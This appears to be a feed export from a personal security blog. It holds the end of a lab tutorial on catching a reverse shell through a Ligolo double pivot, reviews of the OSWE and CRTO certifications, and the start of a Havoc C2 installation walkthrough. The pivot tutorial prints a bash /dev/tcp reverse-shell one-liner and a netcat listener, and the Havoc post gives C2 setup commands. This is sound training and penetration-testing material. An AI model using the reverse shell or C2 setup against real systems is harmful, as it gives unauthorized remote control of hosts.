<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184091268/2f70c8dd-f43a-4a03-b0c3-c2b322e19aab.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-catching-reverse-shell-via-double-pivot">Catching Reverse Shell via Double Pivot</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684186284852/875050ab-5031-4eda-bb43-ef49266e7f31.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">RED - Hosts Reachable
BLUE - Established Pivot Tunnel
GREEN - Reverse Shell Traffic
</code></pre>
<p>Since we are now able to reach the various networks directly, a reverse shell isn't the most ideal. A bind shell would be the most efficient. However, if given a scenario where we aren't able to bind to ports on a particular box, let's take a look at how this can be done.</p>
<p>Instead of having to forward ports from MGMT01 → DC01 → DMZ01 → Kali, with <strong>Ligolo</strong> we could create a listener on DC01 which would directly forward traffic to our Kali box via the existing tunnel!</p>
<h2 id="heading-creating-a-listener-1">Creating a Listener</h2>
<pre><code class="lang-plaintext">listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184275566/460345f9-5b44-42a4-85ae-63bce1796f9a.png" alt class="image--center mx-auto" /></p>
<p>Listener #1 will now forward all traffic hitting DC01:9001 to the PROXYSERVER:9001. (You could also forward it to another host if necessary)</p>
<h3 id="heading-triggering-amp-catching-reverse-shell">Triggering &amp; Catching reverse shell</h3>
<p><strong>MGMT01</strong></p>
<pre><code class="lang-plaintext">sh -i &gt;&amp; /dev/tcp/172.16.9.3/9001 0&gt;&amp;1
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184416683/375ff1e8-6b3c-4e76-8807-54e792c7ba92.png" alt class="image--center mx-auto" /></p>
<p><strong>KALI</strong></p>
<pre><code class="lang-plaintext">nc -nvlp 9001
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684184430605/b8857f92-6afd-4a33-b924-67dc99afe209.png" alt class="image--center mx-auto" /></p>
<p>Thats all there is to it!</p>
<hr />
<p>Hope this helps someone out there who's having a hard time double / tripple / quadruple / quintuple pivoting with the usual toolz!</p>
]]></content:encoded></item><item><title><![CDATA[OSWE - Advanced Web Attacks and Exploitation - Review (2023)]]></title><description><![CDATA[Introduction
It's been a while since I wrote one of these and I'm thrilled to share with you my journey to becoming an Ofsec Web Expert (OSWE). As someone who's always been interested in web application security, earning the OSWE certification has be...]]></description><link>https://4pfsec.com/oswe</link><guid isPermaLink="true">https://4pfsec.com/oswe</guid><category><![CDATA[OSWE]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[offsec]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Fri, 28 Apr 2023 21:35:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1682717199568/35785ca7-4f46-44c9-9b76-c2a342d73ddb.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>It's been a while since I wrote one of these and I'm thrilled to share with you my journey to becoming an Ofsec Web Expert (OSWE). As someone who's always been interested in web application security, earning the OSWE certification has been a major accomplishment for me both personally and professionally.</p>
<p>In this blog post, I'll give you a glimpse into my background in web application security, and share my experience studying for the certification exam. I hope that by sharing my own story, I can inspire and guide others who are on a similar path.</p>
<p>So, whether you're a fellow security enthusiast, a student just starting out, or my future employer, I invite you to join me as I reflect on my journey and share some tips and insights along the way. Let's dive in!</p>
<hr />
<h1 id="heading-background">Background</h1>
<h2 id="heading-professional">Professional</h2>
<p>I am a cybersecurity enthusiast with limited experience in web application security. My passion lies more in finding vulnerabilities and exploiting them rather than in coding. I have a solid foundation in cybersecurity and penetration testing, but not the same for web exploitation. I have worked on various security projects in the past, including vulnerability assessments, penetration testing, and incident response.</p>
<h2 id="heading-education-andamp-certifications">Education &amp; Certifications</h2>
<p>I have a background in Information Technology and hold a couple of red certs like the OSCP and CRTO, networking certs and server-sided certs like the RHCSA. Although coding is not my strong suit, I do have some experience in PHP web application development which has given me a basic understanding of web application architecture. I also consider myself a scripter and not a coder 😂. Hope that changes soon tho...</p>
<h2 id="heading-motivation-to-pursue-oswe">Motivation to Pursue OSWE</h2>
<p>Despite my background in offensive cybersecurity, I had a strong interest in web application security and wanted to learn more about it. I decided to pursue the Advanced Web Attacks and Exploitation (AWAE) course to deepen my knowledge and skills in this area and more specifically a white box approach. Although I knew that digesting the various coding languages would be a challenge for me, I was motivated to push myself and expand my skill set to become a more well-rounded cybersecurity professional.</p>
<hr />
<h1 id="heading-preparation">Preparation</h1>
<h2 id="heading-out-of-lab-preparation">Out-of-Lab Preparation</h2>
<p>Before stepping into the offsec labs, I preped for the course by completing a couple of the BurpSuite labs and building Python scripts to automate the exploitation of the challenges. I found that this helped me build up my scripting ability, specifically in using the requests &amp; sockets library to interact with web applications. By automating the exploitation process, I was able to gain a deeper understanding of how different web application vulnerabilities could be exploited and how to craft custom payloads and incorporate them into the exploitation chain. I also practiced using various BurpSuite extensions to assist with manual testing and vulnerability identification.</p>
<h2 id="heading-offsec-labs">Offsec Labs</h2>
<h3 id="heading-guided-labs">Guided Labs</h3>
<p>The Offensive Security labs for the OSWE were definitely challenging and rigorous given my background. But they provided an excellent learning experience. The labs covered a wide range of web application vulnerabilities, including injection attacks, broken authentication and session management, cross-site scripting (XSS), and more.</p>
<p>The lab materials were well-written and provided clear guidance on how to identify and exploit the vulnerabilities. However, the labs also required a lot of independent research and experimentation to fully understand and exploit the vulnerabilities, which I found to be both frustrating and rewarding.</p>
<p>I also appreciated the ability to use the lab environment to test out new techniques and hone my skills. The lab environment was realistic and walked the students through real-world (outdated) applications and their exploitation techniques. Additionally, the lab environment was well-designed and easy to use, which allowed me to focus on learning and exploiting vulnerabilities instead of struggling with technical issues (I'll get to this in the next few sections lol). Overall, the lab experience was challenging and time-consuming, but it was also one of the most valuable parts of my preparation for the OSWE exam.</p>
<h3 id="heading-extra-mile-exercises">Extra-Mile Exercises</h3>
<p>The OSWE labs also feature a set of "extra mile" challenges, which are designed to push candidates even further beyond the guided exercises. These challenges require a deeper understanding of the underlying web technologies and an ability to think outside the box to identify and exploit vulnerabilities. The extra mile challenges are not guided and there is no walk-through available, which means that the candidate must use all the knowledge and skills they have acquired to complete these challenges. These extra-mile challenges were particularly satisfying to complete, as they required me to apply what I had learned in a more creative and unguided manner.</p>
<h3 id="heading-unguided-labs">Unguided Labs</h3>
<p>One of the unique features of the OSWE course is the unguided labs, which test the techniques taught in the course without any walkthrough or guidance. (Similar to how we'd use Proving Grounds or HTB for the PWK) These labs are designed to simulate real-world scenarios where the attacker has to identify and exploit vulnerabilities on their own. I found these labs to be particularly challenging(ish), as they required a lot of independent research and experimentation to complete successfully. However, they were also very rewarding, as they helped me develop my problem-solving and critical-thinking skills.</p>
<p>The unguided labs forced me to think creatively and come up with unique solutions to exploit the vulnerabilities, which helped me gain a deeper understanding of web application security.</p>
<h2 id="heading-community">Community</h2>
<p>Community support was a critical component of my preparation for the OSWE exam. I found the OSWE Discord channel and the internal forums to be excellent resources for asking questions, getting feedback on my approaches, and learning from other student's experiences. If you run into an "unsolvable" issue, there's probably someone who has been there and gotten over the hurdle.</p>
<p>The student admins were also fairly active on the discord channel and provided valuable insights and guidance throughout the course to students who were facing issues.</p>
<p>Additionally, I found the various online blogs written by individuals (like this one) to be helpful resources for some initial guidance.</p>
<h2 id="heading-note-taking">Note-taking</h2>
<p>(<mark>Notion</mark> is the only right answer)</p>
<p>Note-taking was a critical component of my preparation for the exam. During the course, I made sure to take detailed notes on every technique and attack vector covered in the lectures and labs. I found that by taking notes, I was better able to internalize the material and retain the information. Additionally, note-taking allowed me to keep track of the various tools and commands used in each attack vector, which made it easier to reference them later.</p>
<p>During the exam, having detailed notes allowed me to quickly look up anything I needed, saving me precious time and allowing me to focus on the task at hand.</p>
<hr />
<h1 id="heading-the-exam">The Exam</h1>
<h2 id="heading-background-1">Background</h2>
<p>The OSWE exam is a 48-hour practical exam focused on web application security. It is conducted remotely, and candidates are given access to a virtual network containing multiple vulnerable web applications. The goal of the exam is to identify and exploit vulnerabilities in these applications to gain access to sensitive information or perform unauthorized actions.</p>
<p>The exam is hands-on, meaning that candidates must demonstrate their ability to identify, exploit, and document vulnerabilities in a practical setting. The exam is graded based on the number and severity of vulnerabilities found, as well as the quality of the documentation provided. To pass the exam, a candidate must score at least 85 points out of 100.</p>
<h2 id="heading-remote-proctoring">Remote Proctoring</h2>
<p>Candidates are closely monitored by a proctor to ensure the integrity of the exam. The proctoring process is conducted via webcam and screen-sharing software, which allows the proctor to observe the candidate's actions and ensure that they are not using any unauthorized resources or receiving outside assistance. Although the idea of being closely monitored can be intimidating, I found the proctoring process to be quite professional and unobtrusive. Candidates are allowed to plug headphones in as long as its only connected to the host device that's involved in the exam. (Didn't know this previously lol)</p>
<p>As always you're allowed to take short breaks &amp; logoff for naps. However, you're given 2 options if you decide to log off. You could leave your computer on and untouched or disconnect from the VPN. But this will cause you to lose connection to the infra and the VPN connection would be paused. Thus, I decided to leave my computer on and run some of my scripts for testing.</p>
<p>I'm sorry to the proctor that had to sit through me bopping my head and "rapping".</p>
<h2 id="heading-the-actual-exam">The Actual Exam</h2>
<p>During the exam, I was able to fully exploit both the given machines and complete all the required objectives. It was a very humbling experience to see how far I had come from my initial dabbling in web exploitation. I was especially grateful for the <strong><em>unguided lab machines</em></strong> and the <strong><em>extra-mile exercises</em></strong>.</p>
<h3 id="heading-debugging">Debugging</h3>
<p>debugging is an important aspect of the OSWE exam. During the exam, you will encounter various challenges that require you to write your own exploits. It's essential to have a solid understanding of how the exploit works and what it does. If something isn't working correctly, debugging is the process of finding out what's wrong and fixing it.</p>
<p>This can involve looking at the source code of the exploit, understanding how the target application works, and using various debugging tools to pinpoint the issue. In some cases, you may need to use trial and error to identify the problem. The ability to debug effectively can make all the difference in the success or failure of an exploit. It's crucial to practice this skill during your preparation so that you are comfortable with it on exam day(utilize the lab!!).</p>
<h3 id="heading-methodology">Methodology</h3>
<p>During the exam, I followed a methodology that prioritized understanding the web application and its functionalities over just looking for individual vulnerabilities. This approach helped me to chain together multiple attack vectors and achieve full exploitation of the given machines. I first performed a thorough reconnaissance to identify all possible entry points and attack surfaces. Then, I used manual testing techniques to identify potential vulnerabilities and attack vectors.</p>
<p>Once I identified potential attack vectors, I focused on understanding the application logic and how I could chain together different vulnerabilities to achieve my objectives. I found that by taking this approach, I was able to maximize my exploitation potential and fully demonstrate my understanding of the web application. Starting my analysis from unauthenticated portions of the web application always seems to reward me the most (as expected).</p>
<p>This methodology was extremely effective during the exam (at least for me!).</p>
<h3 id="heading-deliverables">Deliverables</h3>
<p>The OSWE exam requires the candidate to submit two deliverables (in one document) within 24 hours of completing the exam. The first deliverable is a detailed report of the exploitation process, including steps taken, tools used, and vulnerabilities exploited (with vulnerable code snippets and explanations). The report must also include a description of the custom scripts or tools developed during the process. The second deliverable is the 0-click exploit script which is able to automate the exploitation of all discovered vulnerabilities.</p>
<p>The report and script are both reviewed by the OffSec team, and the candidate must demonstrate a clear understanding of the exploitation process and the vulnerabilities exploited. The deliverables are an important part of the OSWE exam, as they allow the candidate to showcase their skills and provide evidence of their abilities.</p>
<h3 id="heading-templated-snippets">Templated snippets</h3>
<p>While you go through the course, you'll have created and improved your custom exploit scripts. Please template these and safe keep them. It's gonna be extremely helpful in the exam when you need to not only find and exploit the vulnerabilities but create a script to automate them. Read up and practice using requests, WebSockets (made me contemplate life decisions in the lab) and other web-related libraries.</p>
<h3 id="heading-support">Support</h3>
<p>The exam support team was always available to answer any questions or concerns I had. Whenever I encountered any technical issues or needed clarification on the exam instructions, they were quick to respond and provide assistance. Their prompt and professional responses helped me to focus on the exam itself without any added stress or anxiety. ASK IF UNSURE!!</p>
<hr />
<h1 id="heading-issues-i-faced">Issues I faced</h1>
<p>(more like issues that faced me but ok)</p>
<p>As always, not everything was rainbows and sunshine. While going through the AWAE course, I faced a few challenges that tested my perseverance. From grappling with complex web application vulnerabilities to struggling with the <em>NEW</em> Offsec Learning Portal, I encountered various hurdles along the way.</p>
<p><img src="https://media.tenor.com/VgTtsgbdqAAAAAAM/trying-hard-baby-yoda.gif" alt="Try Harder GIFs | Tenor" class="image--center mx-auto" /></p>
<h2 id="heading-the-new-portal-lms">The New Portal (LMS)</h2>
<p>Offsec recently released a new <a target="_blank" href="https://portal.offsec.com/">portal</a> to replace its old portal which could only be accessed via their VPN. The platform itself is pretty flash, clean and pleasing to the eye. The issues I faced during my lab time were all reliability related.</p>
<p>The portal was extremely unstable. It kept going down without prior notice which affected a ton of fellow students. There were multiple instances where I would set aside precious time away from work and uni just to get hit with the "<strong>Unannounced Outage</strong>".</p>
<p>Offsec did give out lab extensions to students on a case-by-case basis. However, the extension was pretty invaluable to me as I was already on the learn one package. I was only left with frustration and disappointment ☹️.</p>
<p>But I don't entirely blame them as their support team was pretty responsive and transparent. They were facing such instability due to the new PEN200 labs and having students migrated to the new infrastructure. Hope future students wouldn't have to go through what I did!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682717424188/bdca0e55-0606-4421-98fc-465aff73efc3.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-deliverables-1">Deliverables</h2>
<p>I found it odd that candidates are expected to attach the exploit script in the report document that is due for submission. I was extremely paranoid and kept pasting my exploit script multiple times into the report document before converting it to the preferred <code>.pdf</code> format.</p>
<p>I'm sure they have a valid reason for this. (Don't want students possibly submitting malicious files. Do let me know if you know of other reasons). But I do believe something else can be done about this situation to prevent paranoia amongst students.</p>
<hr />
<h1 id="heading-conclusion">Conclusion</h1>
<p>Undoubtedly, the OSWE certification journey was a demanding one, but the knowledge gained and the skills developed throughout the process made it all worthwhile. The course and lab materials provided by Offensive Security were extensive and well-structured, allowing me to develop a deeper understanding of web application security and hone my skills in exploiting web vulnerabilities.</p>
<p>The exam itself was a true test of my abilities and required me to think outside of the box to fully exploit the given machines. I am proud to have earned the OSWE certification and look forward to applying my knowledge and skills in future engagements. Thank you to everyone who's helped me through this journey😁! Hope this help's someone out there who's looking to embark on this journey. Do not hesitate to reach out to me <code>Nee#0110</code>!</p>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682716598211/56030e31-9137-4db8-a341-17d48e643b4f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682716727650/b35a54ed-ad86-4d8f-b046-58d33a1f8e07.png" alt="Just to feel like this it took a long time yeaaauh!" class="image--center mx-auto" /></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Zero-Point Security's Certified Red Team Operator (CRTO) Review]]></title><description><![CDATA[Red Team Ops is a course that teaches the basic principles, tools and techniques, that are synonymous with red teaming. Students will first cover the core concepts of adversary simulation, command & control, and how to plan an engagement. They will t...]]></description><link>https://4pfsec.com/zero-point-securitys-certified-red-team-operator-crto-review</link><guid isPermaLink="true">https://4pfsec.com/zero-point-securitys-certified-red-team-operator-crto-review</guid><category><![CDATA[Certification]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Thu, 13 Oct 2022 19:33:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982887455/0cd30dfc-8a44-49ce-be72-d2c2f7158b7d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><em>Red Team Ops is a course that teaches the basic principles, tools and techniques, that are synonymous with red teaming. Students will first cover the core concepts of adversary simulation, command &amp; control, and how to plan an engagement. They will then learn about each stage of the attack lifecycle from initial compromise to full domain takeover, data hunting, and data exfiltration.</em></p>
</blockquote>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://training.zeropointsecurity.co.uk/courses/red-team-ops">https://training.zeropointsecurity.co.uk/courses/red-team-ops</a></div>
<p> </p>
<h2 id="heading-background"><strong>Background</strong></h2>
<p>I enrolled into Zero-Point Security's Red Team Operator course about 2 months and cleared the exam with 8/8 flags on the 13th of October. Throughout the year, I've been experimenting and playing around with Active Directory Exploitation and Opensource C2 Frameworks <a target="_blank" href="https://ad.4pfsec.com/">in my lab</a>.</p>
<p>Both Zero-Point's CRTO and Pentester Academy's CRTP have been on my radar for a while now. Looking into the outline of these courses, I realized that RTO focuses more on the entire attack lifecycle from the initial compromise to full domain take over. That was what pushed me over the fence to pursue this course.</p>
<hr />
<h2 id="heading-the-course"><strong>The Course</strong></h2>
<p>The course alone costs £365.00. There is also an option which gets you 40 hours of lab time with the course which costs £399.00. Zero Point Security also recently added an option which allows students to split the payment up into 4 smaller payments.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982006003/13ea80ef-a636-4d4e-8acf-c6432da20fea.png" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-course-content"><strong>Course Content</strong></h3>
<p>The course contains 27 comprehensive chapters. Each chapter goes in-depth with well documented explanations, commands and screenshots to back them up. The content was fairly easy to absorb given that I was actively trying the TTPs in the course lab which I'll talk about in the next section.</p>
<p>Whenever I felt lost with any of the chapters, there were a fleet of videos which I could refer to that demoed the attacks taught in the course. However, I do have to preface this by saying that not all chapters and sections have their own video. I heavily enjoyed the red teaming techniques &amp; concepts that this course brought across. Here are some of my favorite sections this course had to offer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982123796/72837220-6e6a-43c5-b68b-e5b25c24e3ea.png" alt class="image--center mx-auto" /></p>
<p><strong>OPSEC</strong></p>
<p>One thing I really appreciated was that the course didn't just teach you how to throw tools and techniques at the target. It placed emphasize on performing attacks with opsec in mind which I haven't seen before. Educates you on what a red teamer has to have in mind when conducting engagements.</p>
<p><strong>Initial Compromise</strong></p>
<p>I've gone through a number of Initial Access modules of other organizations. However, what stood out to me in RTO was that the course teaches you how you can build a detection system with the help of Kibana. This was my first time doing that and noticing what the blue teamers actually see.</p>
<p><strong>Active Directory Exploitation</strong></p>
<p>This Course taught quite a number of AD Attacks. From credential/User impersonation to Kerberos attacks to Domain Dominance Techniques &amp; Persistence, this course covered it all. The learning was also extremely hands on. I was able to execute each, and every attack taught in the course, in the lab.</p>
<p><strong>Cobalt Strike</strong></p>
<p>Prior to this I've heard some great things about Cobalt Strike, but I've only ever used Free &amp; Opensource ones. Although this course teaches Session Passing in between C2s, it uses Cobalt Strike as its primary C2. The course also provides you with a valid copy of Cobalt Strike to play around in the lab with no extra charges on top of your lab cost. I've also been wanting to learn Cobalt for a while now. This course killed 2 birds with one stone :)</p>
<p><strong>Bypassing Antivirus</strong></p>
<p>The course also covers some basics of bypassing an active antivirus on a target host. This chapter ties in well with the use of cobalt strike to generate payloads and using them in action. Students will not be able to bypass an up-to-date AV as this is just an intro to the topic. However, the concept taught is still extremely valid. If you're interested in dealing with EDRs, check out <a target="_blank" href="https://training.zeropointsecurity.co.uk/courses/red-team-ops-ii">CRTO II</a>.</p>
<hr />
<h3 id="heading-course-lab"><strong>Course Lab</strong></h3>
<p>I was very contempt with what I got for the price I had paid. The lab consists of a couple Windows hosts in a few AD Forests. As you go along with the course, you'll pick up techniques to own all Forests.</p>
<p><strong>Backend</strong></p>
<p>As someone who runs their <a target="_blank" href="https://homelab.4pfsec.com/">own home lab</a>, I'm naturally someone who's extremely interested in infra. I was impressed on how Zero-Point Security had set the lab up. The lab is deployed on AWS with the help of Snap Labs. Students are required to create a snaplabs account to redeem the lab.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982139251/841297e3-56b2-43bc-a18c-b217328fc2c9.png" alt class="image--center mx-auto" /></p>
<p>There's also an admin box which runs <a target="_blank" href="https://guacamole.apache.org/">Apache's Guacamole</a> (same solution that I use 😄) to facilitate the remote desktop connection via a web browser. Yeap, you can only access the labs via the web RDP. I was initially pretty upset with this as the latency was extremely bad (I'm based in SG). However, I learnt that this was a requirement to have a valid copy of Cobalt Strike for us to play around with in the lab.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982152433/794529e7-8e33-4d0a-b4fd-07f7acf24490.png" alt class="image--center mx-auto" /></p>
<p><strong>Content</strong></p>
<p>The machines and setup of the lab were more than enough to learn and practice the TTPs taught throughout the course. I didn't find anything lacking and there were sufficient hosts, forests to conduct tests on.</p>
<p>I was given 40 hours of lab time with the default package. I ended up using about 35.5 hours for my practice. However, if you require more lab time you are able to purchase it <a target="_blank" href="https://www.zeropointsecurity.co.uk/lab-time">here</a> for £1.25 a month.</p>
<p><strong>Support</strong></p>
<p>Support is provided thru 3 main channels.</p>
<ul>
<li><p>Rasta himself via support mail &amp; Discord</p>
</li>
<li><p>Active community on discord</p>
</li>
<li><p>Community forums on the LMS</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982163608/7de5fd2d-e507-4675-a41f-766835eda49b.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<p>The community is extremely helpful in most of the cases. The discord server also acts as an archive of all issues other students have faced. It has helped me countless times and couldn't be more thankful for it!</p>
<hr />
<h2 id="heading-the-exam"><strong>The Exam</strong></h2>
<p>The CRTO Certification exam is a 48 hour-long practical engagement which sets out to simulate a realistic red team engagement which tests students on adversary simulation, command &amp; control, engagement planning and time management. Students are required to collect 6 out of the 8 flags in the environment to pass the exam.</p>
<p>The exam absolutely picks your brain on all the content that was taught through the course. It's not a direct paste of the course lab and requires you to think out of the box and chain multiple TTPs in order to gain access to the machines. The exam's 40 hours can be spread over 4 days. This is to give u ample time to relax, refresh and get some quality sleep.</p>
<h3 id="heading-my-exam-experience"><strong>My Exam Experience</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982188408/81fbf135-c6ee-45d3-abdc-f61750f43cc2.png" alt class="image--center mx-auto" /></p>
<p>My personal experience with the exam was mostly positive! I used up about 32 out of the 48 hours for the exam. I was able to rake up 6 flags to secure the pass in about 6 hours. However, I hit a mental block after that. I tried various methods and followed false leads to get the last 2 flags. But nothing was working. After taking a mini break I was able to secure the 7th flag 4 hours after the 6th.</p>
<p>The last flag however, had me going crazy. I was trying all sorts of attacks to get to it. At a point I even started thinking if there was a technical issue and reached out to <a target="_blank" href="https://twitter.com/_rastamouse">the creator</a> who confirmed that there were no such issues. There was a point in the exam where I started throwing ZeroLogon at the DCs 😅. I ended up logging off for the night, went to work the next day, had dinner with friends and restarted the exam environment the following night. After about a good 7 hours and trying almost all attacks, something struck me, and I got to the final flag. Was a solid journey IMO! Worth the pain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680982200335/86412786-9908-4861-831f-f14b216746be.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-improvements"><strong>Improvements</strong></h2>
<p>Overall, I'm really happy with what I got from this course. I learn a ton and it didn't break the bank. Rasta also recently upgraded the cobalt strike deployed in the lab to the latest version and reworked some of the sections which includes new screenshots and demo videos!</p>
<p>The only suggestion I have is to expand the AWS region. Let the students choose the region closest to them to enable the best learning experience! Other than that, that's it from me! Highly recommended course 😁</p>
]]></content:encoded></item><item><title><![CDATA[Havoc C2: First look]]></title><description><![CDATA[Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider. I first came into contact with Havoc C2 in April 2022 when it was still a private tool under development. C5pider went on Flangvik's stream to discu...]]></description><link>https://4pfsec.com/havoc-c2-first-look</link><guid isPermaLink="true">https://4pfsec.com/havoc-c2-first-look</guid><category><![CDATA[tools]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Wed, 05 Oct 2022 11:53:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983209263/15d0fae2-bff2-40b3-af6c-23a456d24102.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Havoc is a modern and malleable post-exploitation command and control framework, created by <a target="_blank" href="https://twitter.com/C5pider">@C5pider</a>. I first came into contact with Havoc C2 in April 2022 when it was still a private tool under development. C5pider went on <a target="_blank" href="https://www.twitch.tv/flangvik">Flangvik</a>'s stream to discuss about development in general and demoed this awesome tool. Back in May it was announced that Havoc would be released in about <a target="_blank" href="https://twitter.com/C5pider/status/1523651907558211584">3-5 months</a> and here we are!</p>
<p>I'm gona deploying this into my infra and playing around with it in this post! Been wanting to test out the <a target="_blank" href="https://github.com/Cracked5pider/Ekko">Sleep Obfuscation</a> implementation on the Demon for a while now.</p>
<p>Sidenote: You'll notice a lot of similarities between Havoc and Cobalt Strike and that's not necessarily a downside IMO!</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/HavocFramework/Havoc">https://github.com/HavocFramework/Havoc</a></div>
<p> </p>
<hr />
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li><p>Debian-Based Host (C2 Server)</p>
</li>
<li><p>Debian-Based Host (C2 Client)</p>
</li>
<li><p>Target Host (Windows 7/10/11)</p>
</li>
</ul>
<hr />
<h2 id="heading-setup-andamp-installation">Setup &amp; Installation</h2>
<p>(C2 Server)</p>
<h3 id="heading-installation">Installation</h3>
<p><em>Prerequisites Packages</em></p>
<pre><code class="lang-plaintext">┌──(nee㉿4pfsec)-[~] 
└─$ sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983179325/d1f65f54-8b40-4930-a945-6d4a1fe86c42.png" alt="Havoc C2: First look" /></p>
<p><em>Setting up the</em> <code>bookworm</code> repo for Python 3.10.</p>
<pre><code class="lang-plaintext">┌──(nee㉿4pfsec)-[~] 
└─$ echo 'deb http://ftp.de.debian.org/debian bookworm main' &gt;&gt; /etc/apt/sources.list sudo apt update sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983181253/c6d0867b-53aa-46cf-b009-b956262341ce.png" alt="Havoc C2: First look" /></p>
<h3 id="heading-setup">Setup</h3>
<p><em>Git Clone</em></p>
<pre><code class="lang-plaintext">┌──(nee㉿4pfsec)-[~] 
└─$ git clone https://github.com/HavocFramework/Havoc.git
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983182340/c24cdfab-961d-42fe-9104-d64669e63497.png" alt="Havoc C2: First look" /></p>
<p><em>Building the Client</em></p>
<p>cd Havoc/Client mkdir Build cd Build cmake .. cd .. ./Install.sh</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983184042/a29c5e34-aa5b-4f78-a956-7135324076f7.png" alt="Havoc C2: First look" /></p>
<p><em>Building the Teamserver</em></p>
<p>cd Havoc/Teamserver go mod download golang.org/x/sys<br />go mod download github.com/ugorji/go</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983185804/0d7c9b04-e2d4-4da9-ada6-6100d91a767b.png" alt="Havoc C2: First look" /></p>
<p>┌──(nee㉿4pfsec)-[~/Havoc/Teamserver] └─$ ./teamserver</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983187603/ff8e821e-4608-450c-9eee-2b9809bd72e2.png" alt="Havoc C2: First look" /></p>
<p>With that, Havoc is installed and ready to go!</p>
<hr />
<h2 id="heading-havoc-framework">Havoc Framework</h2>
<p>The C2 consists of 2 main parts. The client and the team server. Let's start off with the Teamserver.</p>
<h3 id="heading-teamserver">Teamserver</h3>
<p>The teamserver allows us to specify a profile or use the default one. The profile allows us to edit configs of the following domains:</p>
<ul>
<li><p>Teamserver</p>
</li>
<li><p>Operator</p>
</li>
<li><p>Listener</p>
</li>
<li><p>Service</p>
</li>
<li><p>Payload</p>
</li>
</ul>
<p>The default profile is located at <code>Havoc/Teamserver/profiles</code></p>
<p>Running the teamserver with a profile</p>
<pre><code class="lang-plaintext">┌──(nee㉿4pfsec)-[~/Havoc/Teamserver] 
└─$ ./teamserver server --profile profiles/havoc.yaotl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983188738/34d02df8-b3c3-4763-867c-08a011d5376b.png" alt="Havoc C2: First look" /></p>
<hr />
<h3 id="heading-client">Client</h3>
<p><em>Running the Client</em></p>
<pre><code class="lang-plaintext">┌──(kali㉿kali)-[~] 
└─$ Havoc/Client/Havoc
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983189898/985f5ba8-645f-4084-b3d9-2284cca2ebc3.png" alt="Havoc C2: First look" /></p>
<p><em>Connecting to the teamserver</em></p>
<ul>
<li><p>Name</p>
</li>
<li><p>C2 Host</p>
</li>
<li><p>C2 port</p>
</li>
<li><p>C2 User:Password</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983191501/ae92838f-398b-4cd0-9e45-b216ea4fd841.png" alt="Havoc C2: First look" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983193129/9ed48bd4-ec89-488d-badd-b827ea9d79c0.png" alt="Havoc C2: First look" /></p>
<p>And we're in! The Dracula theme on the client looks really good. Let's check out some of the functionalities!</p>
<hr />
<h3 id="heading-configuring-listeners">Configuring Listeners</h3>
